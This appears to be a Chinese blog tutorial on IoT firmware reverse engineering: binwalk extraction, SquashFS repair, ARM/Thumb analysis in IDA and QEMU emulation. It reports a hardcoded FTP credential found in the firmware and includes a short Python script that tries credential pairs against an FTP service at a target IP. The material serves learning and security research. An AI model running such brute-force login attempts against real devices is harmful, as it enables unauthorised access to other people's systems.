共计 1438 个字符,预计需要花费 4 分钟才能阅读完成。
背景痛点
物联网设备固件逆向分析常常会遇到以下几个棘手问题:

- 非标准文件系统:很多厂商会使用自定义的文件系统格式,导致常规工具无法直接解析
- ARM 架构指令集混淆:嵌入式设备多采用 ARM 架构,其 Thumb 模式与 ARM 模式交替使用会增加反汇编难度
- 符号信息缺失:固件通常 strip 掉了调试符号,函数识别全靠人工分析
- 运行环境依赖:固件可能依赖特定硬件外设,在模拟环境中难以正常运行
技术方案
1. 固件提取与初步分析
首先使用 binwalk 对固件进行初步探查:
binwalk -Me target_firmware.bin
如果遇到常见的 SquashFS 文件系统损坏问题,可以尝试修复:
unsquashfs -d squashfs-root squashfs-file
2. IDA Pro 静态分析
在 IDA 中分析 ARM 架构二进制时要注意:
- 识别函数入口点后,按
Alt+G将 T 设为 1 切换到 Thumb 模式 - 常见 ARM 指令特征:
LDR R0, [R1]:从 R1 指向的内存加载数据到 R0BLX sub_1234:调用子函数CMP R0, #0:比较 R0 与 0- 重点关注字符串引用,特别是 ”ftpuser” 等敏感字符串
3. QEMU 动态调试环境搭建
使用 qemu-arm 搭建模拟环境:
sudo apt install qemu-user-static
cp $(which qemu-arm-static) ./squashfs-root/
sudo chroot ./squashfs-root /qemu-arm-static /bin/sh
漏洞利用
ftpuser 弱密码发现过程
通过逆向分析,发现认证函数中存在硬编码凭证:
int auth_check(char *user, char *pass) {if(strcmp(user, "ftpuser")==0 && strcmp(pass, "password123")==0)
return 1;
return 0;
}
Python 自动化爆破脚本
import socket
def brute_ftp(ip):
creds = [("ftpuser", "password123"),
("ftpuser", "ftpuser"),
("ftpuser", "admin")]
for user, pwd in creds:
s = socket.socket()
s.connect((ip, 21))
s.recv(1024)
s.send(f"USER {user}\r\n".encode())
resp = s.recv(1024)
s.send(f"PASS {pwd}\r\n".encode())
resp = s.recv(1024)
if "230" in resp.decode():
print(f"Success! {user}:{pwd}")
return
print("Brute force failed")
避坑指南
- 损坏的 SquashFS 处理:
- 尝试使用
-force参数 -
手动修复文件头魔术字
-
ARM 模式识别技巧:
- Thumb 指令通常是 2 字节对齐
- 使用 IDA 的
Alt+G切换模式 - 观察 BLX 指令的目标地址 LSB(1 表示 Thumb)
延伸思考
- 如何通过代码混淆增加固件逆向难度?
- 除了弱密码,还有哪些常见的嵌入式设备漏洞模式?
- 厂商应该如何设计安全的固件更新机制?
实战心得
这次逆向分析过程中,最大的收获是对 ARM 架构的 Thumb 模式有了更深入的理解。刚开始因为模式识别错误导致反汇编结果完全不可读,后来通过观察函数调用约定才找到正确分析方法。建议新手可以先用简单的 ARM 二进制练手,熟悉常见指令模式后再挑战复杂固件。
正文完
发表至: 未分类
近一天内
